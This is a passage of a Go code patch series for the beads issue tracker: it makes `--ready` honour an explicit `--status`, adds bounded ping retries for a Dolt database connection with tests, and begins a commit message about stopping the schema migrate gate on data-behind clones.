%d", len(got)) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + func TestGetReadyWorkInTxStatusesSingleQuery(t *testing.T) { t.Parallel() diff --git a/internal/storage/sqlbuild/ready.go b/internal/storage/sqlbuild/ready.go index f599467e3..b111765ca 100644 --- a/internal/storage/sqlbuild/ready.go +++ b/internal/storage/sqlbuild/ready.go @@ -95,7 +95,15 @@ func BuildReadyWorkWhere(filter types.WorkFilter, tables FilterTables, in ReadyW var args []any switch { case filter.Status != "": - statusClause = "status = ?" + // Singular StatusOpen is the `bd ready` pin and means the ready- + // eligible set: built-in open plus category-active custom statuses, + // matching the ready_issues view since migration 0025 (GH#5831). + // Any other singular status stays exact. + if filter.Status == types.StatusOpen { + statusClause = "(status = ? OR status IN (SELECT name FROM custom_statuses WHERE category = 'active'))" + } else { + statusClause = "status = ?" + } args = append(args, string(filter.Status)) case len(filter.Statuses) > 0: ph, statusArgs := InPlaceholders(filter.Statuses) diff --git a/internal/storage/sqlbuild/sqlbuild_test.go b/internal/storage/sqlbuild/sqlbuild_test.go index 5f3300ed7..5565b4544 100644 --- a/internal/storage/sqlbuild/sqlbuild_test.go +++ b/internal/storage/sqlbuild/sqlbuild_test.go @@ -396,10 +396,24 @@ func TestBuildReadyWorkWhereStatusFilter(t *testing.T) { { name: "SingularStatusWinsOverStatuses", filter: types.WorkFilter{Status: "open", Statuses: []types.Status{"blocked", "pinned"}}, - wantClause: "status = ?", + wantClause: "(status = ? OR status IN (SELECT name FROM custom_statuses WHERE category = 'active'))", rejectClause: "status IN (?", wantLeadingArgs: []any{"open"}, }, + { + name: "OpenIncludesCustomActiveCategory", + filter: types.WorkFilter{Status: types.StatusOpen}, + wantClause: "status IN (SELECT name FROM custom_statuses WHERE category = 'active')", + rejectClause: "status IN ('open', 'in_progress')", + wantLeadingArgs: []any{"open"}, + }, + { + name: "NonOpenSingularStatusStaysExact", + filter: types.WorkFilter{Status: types.StatusInProgress}, + wantClause: "status = ?", + rejectClause: "custom_statuses", + wantLeadingArgs: []any{"in_progress"}, + }, { name: "EmptyFilterLegacyDefault", filter: types.WorkFilter{}, diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index dcad55170..9650495c4 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -3,15 +3,18 @@ package uow import ( "context" "database/sql" + "database/sql/driver" "errors" "fmt" + "io" + "net" "os" "strings" "sync/atomic" "time" "github.com/cenkalti/backoff/v4" - _ "github.com/go-sql-driver/mysql" + "github.com/go-sql-driver/mysql" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" @@ -559,6 +562,91 @@ func buildDSN(ep proxy.Endpoint, database, user, password, tlsConfigName string) }.String() } +// pinger is the subset of *sql.DB that pingWithRetry needs, narrowed so +// tests can script a sequence of transient failures without a real +// connection. +type pinger interface { + PingContext(ctx context.Context) error +} + +// pingAttemptTimeout bounds a single ping attempt. The DSN sets a dial +// Timeout (5s, internal/storage/dbproxy/util/dsn.go) but no ReadTimeout, so a +// server that accepts the TCP connection and then stalls mid-handshake is +// otherwise bounded only by the caller's context. Kept above the dial timeout +// so a genuine dial timeout still surfaces as itself instead of being masked +// by this cap. +const pingAttemptTimeout = 10 * time.Second + +// isTransientPingError reports whether err is a connection-level failure worth +// retrying — the shapes a Dolt server produces when it drops or stalls a +// connection mid-handshake or mid-ping — as opposed to a durable rejection +// (bad credentials, unknown database) that retrying cannot fix. +// +// Any *net.OpError counts. Before the handshake completes there is no +// application-level rejection that can reach us as one, so at boot an OpError +// is always the connection itself: refused while the server restarts, reset, +// or broken pipe. MySQL's own rejections arrive as *mysql.MySQLError and stay +// permanent. A name that does not resolve is the exception — it will not start +// resolving, so retrying only spends the whole budget before reporting the +// same misconfiguration. +// +// context.DeadlineExceeded counts only because pingWithRetry applies a +// per-attempt deadline and checks the caller's context *before* consulting +// this function, so a DeadlineExceeded that reaches here can only be that +// per-attempt cap. Do not call this without that guard: classifying the +// caller's own expiry as transient would retry a context that is already dead, +// which is the regression #6000 introduced from the other direction. +// +// Deliberately narrower than internal/storage/dolt's isRetryableError, which +// covers this same ground for query-time retries in server mode. That one +// matches on error text and additionally admits migration-lock, Dolt +// read-only, and MySQL-1105 shapes — server states that describe a *statement* +// being refused, which a boot ping cannot be in because nothing has executed on +// the connection yet. Matching sentinels and types with errors.Is/errors.As +// keeps this side typed, and keeps a bootstrap ping from inheriting retry +// semantics that only make sense mid-transaction. +func isTransientPingError(err error) bool { + var dnsErr *net.DNSError + if errors.As(err, &dnsErr) && !dnsErr.IsTemporary && !dnsErr.IsTimeout { + return false + } + var opErr *net.OpError + return errors.Is(err, driver.ErrBadConn) || + errors.Is(err, mysql.ErrInvalidConn) || + errors.Is(err, io.EOF) || + errors.Is(err, io.ErrUnexpectedEOF) || + errors.Is(err, context.DeadlineExceeded) || + errors.As(err, &opErr) +} + +// pingWithRetry pings until the server answers, the error proves durable, or +// bo's MaxElapsedTime is spent. Each attempt gets its own deadline: +// backoff.Retry bounds the gap between attempts but cannot interrupt one +// already in flight, so without this cap a server that accepts TCP and then +// stalls blocks for the caller's entire context. +func pingWithRetry(ctx context.Context, p pinger, bo *backoff.ExponentialBackOff, attemptTimeout time.Duration) error { + return backoff.Retry(func() error { + attemptCtx, cancel := context.WithTimeout(ctx, attemptTimeout) + defer cancel() + + err := p.PingContext(attemptCtx) + if err == nil { + return nil + } + // The caller's context is spent, so nothing further can succeed and + // its Canceled/DeadlineExceeded must not be read as a transient + // per-attempt timeout. This check is what lets isTransientPingError + // treat DeadlineExceeded as retryable at all. + if ctx.Err() != nil { + return backoff.Permanent(err) + } + if isTransientPingError(err) { + return err + } + return backoff.Permanent(err) + }, backoff.WithContext(bo, ctx)) +} + // assertSessionDatabaseOnPool runs assertSessionDatabase on a connection pinned // out of pool. A pool hands out a different connection per call, so the // assertion has to name the connection it is asserting about. @@ -576,7 +664,9 @@ func openDB(ctx context.Context, dsn string) (*sql.DB, error) { if err != nil { return nil, fmt.Errorf("uow: open db: %w", err) } - if err := conn.PingContext(ctx); err != nil { + bo := backoff.NewExponentialBackOff() + bo.MaxElapsedTime = 30 * time.Second + if err := pingWithRetry(ctx, conn, bo, pingAttemptTimeout); err != nil { return nil, errors.Join(fmt.Errorf("uow: ping db: %w", err), conn.Close()) } return conn, nil diff --git a/internal/storage/uow/dolt_sql_provider_test.go b/internal/storage/uow/dolt_sql_provider_test.go new file mode 100644 index 000000000..4a6f84ed1 --- /dev/null +++ b/internal/storage/uow/dolt_sql_provider_test.go @@ -0,0 +1,216 @@ +package uow + +import ( + "context" + "errors" + "net" + "sync/atomic" + "testing" + "time" + + "github.com/cenkalti/backoff/v4" + "github.com/go-sql-driver/mysql" +) + +// fakePinger is a pinger test double that returns a scripted sequence of +// responses and fails the test if called more times than scripted — that +// over-call case is exactly the retry-budget bug this test suite guards +// against. +type fakePinger struct { + t *testing.T + errs []error + calls int +} + +func (p *fakePinger) PingContext(context.Context) error { + p.t.Helper() + if p.calls >= len(p.errs) { + p.t.Fatalf("PingContext called more times than expected (call #%d, only %d responses scripted)", p.calls+1, len(p.errs)) + } + err := p.errs[p.calls] + p.calls++ + return err +} + +// blockingPinger never answers on its own: it stalls until the context it was +// handed is cancelled, then reports that context's error. This is the shape of +// a Dolt server that accepts the TCP connection and then stalls without ever +// completing the MySQL handshake — the DSN sets a dial Timeout but no +// ReadTimeout, so nothing below pingWithRetry bounds it. +type blockingPinger struct { + calls atomic.Int32 + release chan struct{} +} + +func newBlockingPinger(t *testing.T) *blockingPinger { + t.Helper() + p := &blockingPinger{release: make(chan struct{})} + // Unblock any attempt still parked when the test ends, so a failure here + // does not leak a goroutine into the rest of the package's tests. + t.Cleanup(func() { close(p.release) }) + return p +} + +func (p *blockingPinger) PingContext(ctx context.Context) error { + p.calls.Add(1) + select { + case <-ctx.Done(): + return ctx.Err() + case <-p.release: + return errors.New("blockingPinger released at test cleanup") + } +} + +func testPingBackOff() *backoff.ExponentialBackOff { + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = time.Millisecond + bo.MaxElapsedTime = time.Second + return bo +} + +// testPingAttemptTimeout is generous: the subtests that use it script their +// ping responses and never actually stall, so the per-attempt cap must not be +// what ends them. +const testPingAttemptTimeout = time.Second + +func TestPingWithRetryRecoversFromATransientBadConn(t *testing.T) { + t.Run("transient error retries then recovers", func(t *testing.T) { + p := &fakePinger{t: t, errs: []error{mysql.ErrInvalidConn, mysql.ErrInvalidConn, nil}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if err != nil { + t.Fatalf("pingWithRetry() error = %v, want nil", err) + } + if p.calls != 3 { + t.Fatalf("PingContext called %d times, want exactly 3", p.calls) + } + }) + + t.Run("non-transient error fails without retrying", func(t *testing.T) { + wantErr := errors.New("Access denied") + p := &fakePinger{t: t, errs: []error{wantErr}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if !errors.Is(err, wantErr) { + t.Fatalf("pingWithRetry() error = %v, want %v", err, wantErr) + } + if p.calls != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (non-transient errors must not retry)", p.calls) + } + }) + + t.Run("already-cancelled context fails promptly", func(t *testing.T) { + p := &fakePinger{t: t, errs: []error{mysql.ErrInvalidConn}} + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + err := pingWithRetry(ctx, p, testPingBackOff(), testPingAttemptTimeout) + + if err == nil { + t.Fatal("pingWithRetry() error = nil, want non-nil for an already-cancelled context") + } + if p.calls != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (cancelled context must not retry)", p.calls) + } + }) + + t.Run("connection-level net error retries then recovers", func(t *testing.T) { + // A boot ping cannot fail at the application level before the + // handshake completes, so any *net.OpError here is connection-level: + // connection refused (server restarting), reset, or broken pipe. + refused := &net.OpError{Op: "dial", Net: "tcp", Err: errors.New("connect: connection refused")} + p := &fakePinger{t: t, errs: []error{refused, nil}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if err != nil { + t.Fatalf("pingWithRetry() error = %v, want nil (a connection-level net error is transient at boot)", err) + } + if p.calls != 2 { + t.Fatalf("PingContext called %d times, want exactly 2", p.calls) + } + }) + + t.Run("unresolvable host fails without retrying", func(t *testing.T) { + // The narrowing that pays for classifying *net.OpError broadly: a name + // that does not resolve will not start resolving, so retrying only + // spends the budget before reporting the same misconfiguration. + dnsErr := &net.OpError{Op: "dial", Net: "tcp", Err: &net.DNSError{ + Err: "no such host", Name: "no-such-dolt-host.invalid", IsNotFound: true, + }} + p := &fakePinger{t: t, errs: []error{dnsErr}} + + err := pingWithRetry(context.Background(), p, testPingBackOff(), testPingAttemptTimeout) + + if !errors.Is(err, dnsErr) { + t.Fatalf("pingWithRetry() error = %v, want %v", err, dnsErr) + } + if p.calls != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (a permanent DNS failure must not retry)", p.calls) + } + }) +} + +// TestPingWithRetryBoundsEachAttempt covers the half of the retry budget that +// MaxElapsedTime cannot reach: backoff.Retry bounds the gap *between* +// attempts, but it cannot interrupt an attempt already in flight. +func TestPingWithRetryBoundsEachAttempt(t *testing.T) { + t.Run("a hung ping is capped per attempt and retried", func(t *testing.T) { + p := newBlockingPinger(t) + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = time.Millisecond + bo.MaxElapsedTime = 200 * time.Millisecond + + // Run off-goroutine: before the per-attempt cap exists this call never + // returns at all, and the assertion we want is "it returned", not a + // 10-minute package timeout. + done := make(chan error, 1) + go func() { + done <- pingWithRetry(context.Background(), p, bo, 20*time.Millisecond) + }() + + select { + case err := <-done: + if err == nil { + t.Fatal("pingWithRetry() error = nil, want non-nil once the retry budget is exhausted") + } + if got := p.calls.Load(); got < 2 { + t.Fatalf("PingContext called %d times, want >= 2 (each hung attempt must be capped and retried)", got) + } + case <-time.After(5 * time.Second): + t.Fatal("pingWithRetry() never returned: a hung ping is not bounded per attempt, so it blocks for the caller's whole context") + } + }) + + t.Run("the caller's own deadline fails without retrying", func(t *testing.T) { + // The regression guard for the trap #6000 fell into: once a + // per-attempt deadline exists, context.DeadlineExceeded becomes + // retryable — but only when it came from *that* deadline. The + // caller's own expiry must still stop immediately. + p := newBlockingPinger(t) + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = time.Millisecond + bo.MaxElapsedTime = 10 * time.Second + + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Millisecond) + defer cancel() + + start := time.Now() + // Per-attempt cap far beyond the caller's deadline, so the only thing + // that can end this attempt is the caller's context. + err := pingWithRetry(ctx, p, bo, time.Hour) + elapsed := time.Since(start) + + if err == nil { + t.Fatal("pingWithRetry() error = nil, want non-nil once the caller's context expires") + } + if got := p.calls.Load(); got != 1 { + t.Fatalf("PingContext called %d times, want exactly 1 (the caller's own deadline must not be retried as transient)", got) + } + if elapsed > 5*time.Second { + t.Fatalf("pingWithRetry() took %v after a 20ms caller deadline, want it to stop promptly", elapsed) + } + }) +} diff --git a/internal/workapi/list.go b/internal/workapi/list.go index 761d822d2..1798824c1 100644 --- a/internal/workapi/list.go +++ b/internal/workapi/list.go @@ -225,7 +225,12 @@ func BuildListFilter(in issueops.ListRequest, cfg ListConfig) (types.IssueFilter statusParts := splitStatusSelector(in.Status) statusAll := len(statusParts) == 1 && statusParts[0] == "all" - if in.ReadyFlag { + // --ready defaults to open (the blocker-aware query's historical pin), + // but an explicit --status is an intersection, not an override. Dropping + // the selector used to answer `bd list --status X --ready` with the + // unfiltered ready set (GH#5832). `--status all` is the no-filter + // spelling, so the open default still applies there. + if in.ReadyFlag && (len(statusParts) == 0 || statusAll) { s := types.StatusOpen filter.Status = &s } else if len(statusParts) > 0 && !statusAll { @@ -465,9 +470,10 @@ func splitStatusSelector(status string) []string { // pinned-carrying beads: the pinned or hooked status, or — when the selector // actually applies to the query — the "all" selector, which promises every // status. The pinned default is not forced off for a filter that asks for -// those beads. allApplies is false under --ready, which forces status open -// and otherwise ignores the selector, so "all" must not lift the pinned -// default there. +// those beads. allApplies is false under --ready: `--status all` (and the +// omitted selector) still pin open, so "all" must not lift the pinned +// default there. Explicit selectors are honored under --ready (GH#5832); +// pinned and hooked still return true regardless of allApplies. func statusSelectsPinned(parts []string, allApplies bool) bool { for _, part := range parts { switch part { diff --git a/internal/workapi/list_pinned_test.go b/internal/workapi/list_pinned_test.go index 58d36280c..38e944092 100644 --- a/internal/workapi/list_pinned_test.go +++ b/internal/workapi/list_pinned_test.go @@ -66,11 +66,11 @@ func TestPinnedDefaultBySelector(t *testing.T) { } }) - // --ready forces status open and otherwise IGNORES the selector, so an - // "all" that the query never applies must not have a pinned side effect + // `--status all` is the no-filter spelling, so --ready still pins open. + // An "all" that the query never applies must not have a pinned side effect // either. Without this, `bd list --ready --status=all` would admit pinned // beads into a ready listing that is filtered to open. - t.Run("--ready ignores the selector, including for pinned", func(t *testing.T) { + t.Run("--ready --status=all does not admit pinned", func(t *testing.T) { got := pinnedDefault(t, issueops.ListRequest{Status: "all", ReadyFlag: true}) if got == nil || *got { t.Errorf("--ready --status=all: Pinned = %v, want false", got) diff --git a/internal/workapi/list_ready_status_test.go b/internal/workapi/list_ready_status_test.go new file mode 100644 index 000000000..ab30e4105 --- /dev/null +++ b/internal/workapi/list_ready_status_test.go @@ -0,0 +1,123 @@ +package workapi + +import ( + "reflect" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestReadyStatusAndReadyIntersect pins GH#5832: `bd list --status X --ready` +// is the intersection, not the unfiltered ready set. These are builder and +// projection tests so they stay in the CGO_ENABLED=0 lane. +func TestReadyStatusAndReadyIntersect(t *testing.T) { + t.Run("status X --ready keeps status X", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "in_progress"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.StatusInProgress { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, types.StatusInProgress) + } + wf := ReadyFilterFromIssueFilter(filter) + if wf.Status != types.StatusInProgress { + t.Fatalf("WorkFilter.Status = %q, want %q", wf.Status, types.StatusInProgress) + } + if len(wf.Statuses) != 0 { + t.Fatalf("WorkFilter.Statuses = %v, want empty", wf.Statuses) + } + }) + + t.Run("custom status --ready keeps the custom status", func(t *testing.T) { + cfg := ListConfig{CustomStatuses: []types.CustomStatus{{Name: "unrefined", Category: types.CategoryWIP}}} + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "unrefined"}, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.Status("unrefined") { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, "unrefined") + } + wf := ReadyFilterFromIssueFilter(filter) + if wf.Status != types.Status("unrefined") { + t.Fatalf("WorkFilter.Status = %q, want %q", wf.Status, "unrefined") + } + }) + + t.Run("zero-match status is not rewritten to the open ready set", func(t *testing.T) { + plain, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter(ready): %v", err) + } + if got := ReadyFilterFromIssueFilter(plain).Status; got != types.StatusOpen { + t.Fatalf("plain --ready WorkFilter.Status = %q, want %q", got, types.StatusOpen) + } + + filtered, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "in_progress"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter(ready+in_progress): %v", err) + } + wf := ReadyFilterFromIssueFilter(filtered) + if wf.Status != types.StatusInProgress { + t.Fatalf("WorkFilter.Status = %q, want %q (must not fall back to the unfiltered ready pin)", wf.Status, types.StatusInProgress) + } + if wf.Status == ReadyFilterFromIssueFilter(plain).Status { + t.Fatal("zero-match --status was rewritten to the unfiltered ready status") + } + }) + + t.Run("plain --ready still pins open", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.StatusOpen { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, types.StatusOpen) + } + if got := ReadyFilterFromIssueFilter(filter).Status; got != types.StatusOpen { + t.Fatalf("WorkFilter.Status = %q, want %q", got, types.StatusOpen) + } + }) + + t.Run("status all --ready keeps the open default", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "all"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.StatusOpen { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, types.StatusOpen) + } + }) + + t.Run("multi-status --ready copies the OR set", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "open,in_progress"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + want := []types.Status{types.StatusOpen, types.StatusInProgress} + if !reflect.DeepEqual(filter.Statuses, want) { + t.Fatalf("IssueFilter.Statuses = %v, want %v", filter.Statuses, want) + } + if filter.Status != nil { + t.Fatalf("IssueFilter.Status = %v, want nil when Statuses is set", filter.Status) + } + wf := ReadyFilterFromIssueFilter(filter) + if wf.Status != "" { + t.Fatalf("WorkFilter.Status = %q, want empty so Statuses is not ignored", wf.Status) + } + if !reflect.DeepEqual(wf.Statuses, want) { + t.Fatalf("WorkFilter.Statuses = %v, want %v", wf.Statuses, want) + } + }) + + t.Run("invalid status --ready errors instead of dropping --status", func(t *testing.T) { + _, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "not-a-status"}, ListConfig{}) + if err == nil { + t.Fatal("BuildListFilter unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "invalid status") || !strings.Contains(err.Error(), "not-a-status") { + t.Fatalf("unexpected error: %v", err) + } + }) +} diff --git a/internal/workapi/ready.go b/internal/workapi/ready.go index 073e5f475..729c4756f 100644 --- a/internal/workapi/ready.go +++ b/internal/workapi/ready.go @@ -41,7 +41,9 @@ func LimitOr(limit *int, fallback int) int { // own to shape, and running it through here would change it. func BuildReadyFilter(in issueops.ReadyRequest) (types.WorkFilter, error) { filter := types.WorkFilter{ - // Open only, not in_progress - the same set `bd list --ready` shows. + // Open only, not in_progress - the same set `bd list --ready` shows + // when --status is omitted (an explicit --status is an intersection; + // GH#5832). Status: types.StatusOpen, Type: utils.NormalizeIssueType(in.IssueType), Limit: LimitOr(in.Limit, DefaultReadyLimit), diff --git a/internal/workapi/sort.go b/internal/workapi/sort.go index ecc27ec41..cbaad3c5f 100644 --- a/internal/workapi/sort.go +++ b/internal/workapi/sort.go @@ -48,7 +48,6 @@ func CompareIssuesBy(a, b *types.Issue, sortBy string) int { // filter on. func ReadyFilterFromIssueFilter(filter types.IssueFilter) types.WorkFilter { wf := types.WorkFilter{ - Status: types.StatusOpen, Limit: filter.Limit, Offset: filter.Offset, Labels: filter.Labels, @@ -70,6 +69,18 @@ func ReadyFilterFromIssueFilter(filter types.IssueFilter) types.WorkFilter { // --brief` with full rows and nothing to say why. Lite: filter.Lite, } + // Status is copied the same way as assignee/priority/labels: an explicit + // selector on the list filter is the ready-work selector too. The open + // default is only the fallback when BuildListFilter did not write one + // (plain `--ready`, or `--ready --status all`). Hard-coding StatusOpen + // here used to drop `--status` even after the builder honored it (GH#5832). + if filter.Status != nil { + wf.Status = *filter.Status + } else if len(filter.Statuses) > 0 { + wf.Statuses = append([]types.Status(nil), filter.Statuses...) + } else { + wf.Status = types.StatusOpen + } if filter.IssueType != nil { wf.Type = string(*filter.IssueType) } diff --git a/internal/workapi/testdata/list_filter_golden.json b/internal/workapi/testdata/list_filter_golden.json index d7fa4f5f2..cd03e29a9 100644 --- a/internal/workapi/testdata/list_filter_golden.json +++ b/internal/workapi/testdata/list_filter_golden.json @@ -1165,7 +1165,7 @@ } }, { - "name": "ready_flag_overrides_status", + "name": "ready_flag_honors_status", "params": { "ReadyFlag": true, "Status": "closed", @@ -1173,7 +1173,7 @@ }, "config": {}, "filter": { - "Status": "open", + "Status": "closed", "Statuses": null, "Priority": null, "IssueType": null, diff --git a/issueops/reader.go b/issueops/reader.go index 80db1527d..a5b54cf78 100644 --- a/issueops/reader.go +++ b/issueops/reader.go @@ -340,7 +340,9 @@ type ListRequest struct { // narrower filter vocabulary than this request can describe, and only part // of the request reaches it. // - // WHAT IT CARRIES: IssueType, all five label forms, Assignee, NoAssignee, + // WHAT IT CARRIES: Status/Statuses (an explicit --status is the + // intersection; AllFlag and `--status all` still take the open default), + // IssueType, all five label forms, Assignee, NoAssignee, // the exact Priority, ParentID, MolType, WispType, MetadataFields, // HasMetadataKey, the type exclusions (ExcludeTypes, and with them // IncludeGates and IncludeInfra), IncludeEphemeral — the ready query has an @@ -348,8 +350,7 @@ type ListRequest struct { // IncludeInfra's plane half crosses with it — Limit, Offset and the MaxRows // cap with its attribution. SortBy and Reverse // still apply, because the display order is applied to the page after the - // query rather than inside it. Status and AllFlag are resolved to "open" - // and have no further effect: ready work is open work. + // query rather than inside it. // // WHAT IT REFUSES: every other filter here is one the ready query cannot // carry, so combining it with ReadyFlag returns ErrValidation naming the diff --git a/issueops/reader_ready_scope.go b/issueops/reader_ready_scope.go index bfcda1b3d..bf3ee326c 100644 --- a/issueops/reader_ready_scope.go +++ b/issueops/reader_ready_scope.go @@ -29,7 +29,7 @@ type readyScopeField struct { // Four groups are deliberately ABSENT, because listing them here would refuse // requests that are answered correctly today: // -// - What the projection carries: IssueType, all five label forms, Assignee, +// - What the projection carries: Status/Statuses (GH#5832), IssueType, all five label forms, Assignee, // NoAssignee, the exact Priority, ParentID, MolType, WispType, // MetadataFields, HasMetadataKey, ExcludeTypes (and with it IncludeGates // and IncludeInfra's type suppression), IncludeEphemeral (and with it @@ -46,12 +46,15 @@ type readyScopeField struct { // Refusing that would be refusing a correct answer over its cost, and the // promise is already stated where a caller reads it (ListRequest.ReadyFlag). // -// - Status and AllFlag. The builder resolves both to "open" under ReadyFlag -// before the projection ever runs, so IssueFilter.Statuses is never -// populated on this path and there is nothing for the projection to drop. -// Ready work is open work; that override is pinned by the builder's golden -// file (internal/workapi/testdata/list_filter_golden.json, -// ready_flag_overrides_status). +// - AllFlag, and `--status all`. The builder resolves both to "open" under +// ReadyFlag before the projection ever runs (`all` is the no-filter +// spelling). An explicit --status is carried: BuildListFilter writes it +// onto IssueFilter and ReadyFilterFromIssueFilter copies Status/Statuses +// onto the ready-work filter, so `bd list --status X --ready` is the +// intersection rather than the unfiltered ready set (GH#5832). Status is +// therefore ABSENT from this drop set because it is honored, not because +// it is overridden. The default-open pin is the golden +// `ready_flag` case; the honor path is `ready_flag_honors_status`. // // - NoPinnedFlag. Pinned is dropped by the projection, but the ready-work // WHERE clause excludes pinned rows unconditionally From 5b9e938b59ba07eba0683a2d97f27e91eea8ccd3 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 21 Sep 2026 02:49:05 -0700 Subject: [PATCH 058/624] fix(schema): stop the smart gate auto-migrating a data-behind clone (#6575) (#6658) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(schema): stop the smart gate auto-migrating a data-behind clone The smart migrate gate's first-mover verdict was computed from schema facts alone: equal content hashes against the cached remote ref, equal max version, and at-or-above the convergence floor. None of those say anything about where the clone's branch sits relative to the ref the hashes came from, so a clone that was level with the remote on SCHEMA but behind it in unpulled DATA commits satisfied every precondition and was classified a safe first-mover. It then migrated in place, minting local-only schema commits on a HEAD missing the remote's data commits. When the pending batch moves a tracked table onto the dolt_ignore plane (0062's events), every subsequent `bd dolt pull` refuses to merge (#6368) and the clone can no longer fetch the very commits it was already behind on. v1.3.0's upgrade audience is largely 1.1-era databases, which is exactly the cohort reaching this state. The decisive fact was already wired: routeSmartGate's remote-ahead branch consults adopt.IsStrictAncestor (ahead == 0 && behind >= 1) via routeAdoptFastForward, and both production call sites supply it. The equal-version path simply never read it. Read it there too, before granting the automatic migrate, and stop with a new data-behind fallback reason naming the one-command remedy. The predicate does the narrowing for free: a level clone (ahead 0, behind 0) and a clone with unpushed local commits (ahead > 0) both read false and still auto-migrate, so only a strictly-behind clone is refused. An inconclusive ancestry read degrades to the blunt #4515 block rather than assuming level, matching the file's contract that no fallback is less safe than the blunt gate. Below-floor outcomes are untouched — the check sits inside the floor arm. The stop reuses the existing blunt RemoteMigrateGateError with an empty Decision, so there is no change to the JSON or agent contract. Both shipped escape hatches still work unchanged: --force/BD_ALLOW_REMOTE_MIGRATE=1 are consulted before the smart gate, and BD_SMART_GATE=0 still yields the blunt block. Two details the reason text has to get right. The "and the migrate proceeds on its own" promise is suppressed on a shared store, where the first-mover arm stays disabled regardless (#5920) and the retry still needs consent — promising otherwise would loop the operator. And an unparseable BD_SMART_GATE value does not outrank this reason: like shared-store, the stop stands whatever the env says, and it is the only reason carrying a remedy the operator can act on now, so burying it behind an env complaint would cost them the fix. Regression test builds a genuinely data-behind clone against a real Dolt server rather than stubbing the fact the bug is about: a source regressed one migration below latest publishes C0 to a file:// remote, a real DOLT_CLONE takes C0, the source makes a pure DATA commit C1 (no schema change, so both stay at the same schema version) and pushes, and the clone runs DOLT_FETCH only. The behind-ness is then measured, not assumed. The test also proves the remedy loop self-heals: after the fast-forward the same gate call auto-migrates the clone as a true first-mover, so the fix does not over-refuse. Fixes #6575 Co-Authored-By: Claude Opus 5 * fix(schema): give the data-behind stop a working remedy, and widen it Review follow-up on the #6575 fix. The stop was right; what it told the operator to do was not reachable, and it protected the rarer half of the cohort. F1 (blocker): the refusal prescribed `bd dolt pull`, and `bd dolt pull` was refused by it. Measured on a real data-behind embedded clone (ahead=0, behind=1, clean working set) at the previous head: the pull exited 1 printing "Run `bd dolt pull` first, then retry"; `bd sync` and `bd init --reinit-local` exited 1 the same way; `bd bootstrap` reported "Database already exists … Nothing to do." and exited 0; `bd migrate schema --force` then `bd dolt push` left ahead=1 behind=1 with the push rejected non-fast-forward. The only thing that moved the clone was BD_ALLOW_REMOTE_MIGRATE=1 — performing the migration the stop exists to prevent. An embedded workspace has no external `dolt` binary either, so that was a fence with no gate. It is the #4566 deadlock one refusal over, so it takes #4566's shape of fix: a lenient open for the command whose whole purpose is to clear the refused precondition. Narrower than #4566's, though — the remote-sync open tolerates ONE gate reason (RemoteMigrateGateError.IsDataBehind) and nothing else. A pull cannot resolve a fork skew, a below-floor database, a shared-store consent decision or an opted-out blunt block, so waving it through those would buy nothing and hide them; the dirty-table and dependency-re-key refusals stay fatal on this open too. Broadening the existing LenientOpen classification instead would have granted all of that in one line. Verified end to end on both shapes, exit codes real: `bd dolt pull` 0 (0,1 -> 0,0), retrying the refused write auto-migrates as a true first-mover, `bd dolt push` 0. On a diverged clone the pull merges: 0 when it can, 1 with "merge conflicts in config require operator resolution; merge aborted and working set restored" when it cannot, and `bd dolt pull --strategy theirs` then 0 — which is why the diverged guidance names it. F2 (high): LocalIsStrictAncestorOf is ahead == 0 && behind >= 1, so a clone with any local commit of its own read "not behind" and still auto-migrated. Measured at the previous head with ahead=1, behind=1: "safe first-mover", and the migration ran. bd auto-commits every write, so behind-AND-ahead is the ORDINARY multi-machine state and the shape the fix protected was the narrower one. It reaches the identical wedge — the migration lands on a history missing the remote's commits either way — so the predicate is now behind >= 1 whatever ahead is, read from LocalAheadBehind (the counts LocalIsStrictAncestorOf was already computing and discarding). A level clone and a purely-ahead clone have 